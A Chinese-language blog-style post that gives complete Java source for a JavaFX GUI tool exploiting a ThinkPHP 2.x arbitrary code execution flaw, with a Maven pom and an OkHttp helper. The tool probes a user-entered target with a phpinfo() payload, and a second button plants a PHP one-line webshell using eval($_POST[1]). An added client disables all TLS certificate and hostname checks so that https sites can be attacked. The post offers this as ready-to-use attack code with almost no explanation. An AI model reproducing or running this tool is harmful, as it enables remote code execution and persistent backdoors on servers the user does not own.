一个小demo

懒得讲了，直接看代码吧

pox.xml<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>Gui_demo</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>com.squareup.okhttp3</groupId><artifactId>okhttp</artifactId><version>4.9.3</version></dependency></dependencies>
</project>

HttpRequest.java
//这个可以直接拿来用
import java.io.IOException;import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;public class HttpRequest {public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");OkHttpClient client = new OkHttpClient();public String get(String url) throws IOException {Request request = new Request.Builder().url(url).build();Response response = client.newCall(request).execute();return response.body().string();}public String post(String url, String json) throws IOException {RequestBody body = RequestBody.create(JSON, json);Request request = new Request.Builder().url(url).post(body).build();Response response = client.newCall(request).execute();return response.body().string();}}

Thinkphp.javaimport java.io.IOException;public class Thinkphp {public static String run(String target) throws IOException {HttpRequest request = new HttpRequest();
//        System.out.println(request.get("http://192.168.126.137:18832/index.php?s=/index/index/name/$%7B@phpinfo()%7D"));String response = request.get(target + "index.php?s=/index/index/name/$%7B@phpinfo()%7D");return response;}public static String shell(String target) throws IOException {HttpRequest request = new HttpRequest();request.get(target + "index.php?s=/index/index/name/${@print(eval($_POST[1]))}");String shl = target + "index.php?s=/index/index/name/${@print(eval($_POST[1]))}";return shl;}}

GuiDemo.javaimport javafx.application.Application;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;import java.io.IOException;public class GuiDemo extends Application {      //创建一个GuiDemo类，GuiDemo继承Application类@Overridepublic void start(Stage primaryStage) throws Exception {//标签Label label = new Label("请输入目标");label.setLayoutX(5);label.setLayoutY(10);label.setPrefWidth(70);label.setPrefHeight(20);
//        label1.setOpacity(0.5);//设置透明度//目标文本框TextArea textArea = new TextArea();textArea.setLayoutX(75);        //设置文本框的横坐标textArea.setLayoutY(5);         //设置文本框的纵坐标textArea.setPrefWidth(220);     //设置文本框的宽度textArea.setPrefHeight(20);     //设置文本框的高度textArea.setText("请输入目标ip或者域名......");//验证按钮Button button = new Button("验证");button.setLayoutX(310);button.setLayoutY(10);button.setPrefHeight(20);button.setPrefWidth(50);//传shell按钮Button button1 = new Button("写入一句话木马");button1.setLayoutX(370);button1.setLayoutY(10);button1.setPrefHeight(20);button1.setPrefWidth(100);//结果文本框TextArea textArea1 = new TextArea();textArea1.setLayoutX(5);        //设置文本框的横坐标textArea1.setLayoutY(50);         //设置文本框的纵坐标textArea1.setPrefWidth(500);     //设置文本框的宽度textArea1.setPrefHeight(300);     //设置文本框的高度textArea1.setWrapText(true);//        设置按钮鼠标点击事件button.setOnAction(new EventHandler<ActionEvent>() {@Overridepublic void handle(ActionEvent event) {String url = textArea.getText();try {String response = Thinkphp.run(url);if (response.contains("PHP Version")) {textArea1.setText("存在此漏洞");}} catch (IOException e) {textArea1.setText("不存在此漏洞或者网络异常！！！");}}});//如果点击上传一句话按钮，那么先判断漏洞是否存在，如果存在就发送上传一句话请求，并且把一句话链接输出到textAreabutton1.setOnAction(new EventHandler<ActionEvent>() {@Overridepublic void handle(ActionEvent event) {String url = textArea.getText();try {String response = Thinkphp.run(url);if (response.contains("PHP Version")) {textArea1.setText("一句话木马是:\n" + Thinkphp.shell(url));}} catch (IOException e) {textArea1.setText("不存在此漏洞或者网络异常！！！");}}});//布局1AnchorPane pane1 = new AnchorPane();pane1.getChildren().addAll(label, button, button1, textArea, textArea1);//场景Scene scene1 = new Scene(pane1, 510, 400);//主要的舞台/窗口primaryStage.setTitle("ThinkPHP 2.x 任意代码执行漏洞 made by yz");primaryStage.setScene(scene1);/*窗口设置场景*/primaryStage.show();}public static void main(String args[]) {launch(args);}
}

Main.javapublic class Main {public static void main(String[] args) {GuiDemo.main(args);}
}

虽然很简陋，但是基本功能是有了，其他的就是多加一些功能啥的，可以自由发挥。

特别要注意的是，考虑到目标网站可能是 https 网站，那么可以把场面 HttpRequest.java 文件换成以下：

import okhttp3.*;import javax.net.ssl.*;
import java.io.IOException;public class HttpRequest {public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");//    static OkHttpClient client = new OkHttpClient();//下面是跳过https网站证书验证的，我直接复制的public static OkHttpClient getUnsafeOkHttpClient() {try {final TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {@Overridepublic void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic java.security.cert.X509Certificate[] getAcceptedIssuers() {return new java.security.cert.X509Certificate[]{};}}};final SSLContext sslContext = SSLContext.getInstance("SSL");sslContext.init(null, trustAllCerts, new java.security.SecureRandom());final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();OkHttpClient.Builder builder = new OkHttpClient.Builder();builder.sslSocketFactory(sslSocketFactory);builder.hostnameVerifier(new HostnameVerifier() {@Overridepublic boolean verify(String hostname, SSLSession session) {return true;}});return builder.build();} catch (Exception e) {throw new RuntimeException(e);}}public String get(String url) throws IOException {Request request = new Request.Builder().url(url).build();OkHttpClient client = getUnsafeOkHttpClient();Response response = client.newCall(request).execute();return response.body().string();}public String post(String url, String json) throws IOException {RequestBody body = RequestBody.create(JSON, json);Request request = new Request.Builder().url(url).post(body).build();OkHttpClient client = getUnsafeOkHttpClient();Response response = client.newCall(request).execute();return response.body().string();}}

参考

JAVA-GUI 工具的编写-----事件篇 (qq.com)

‍

‍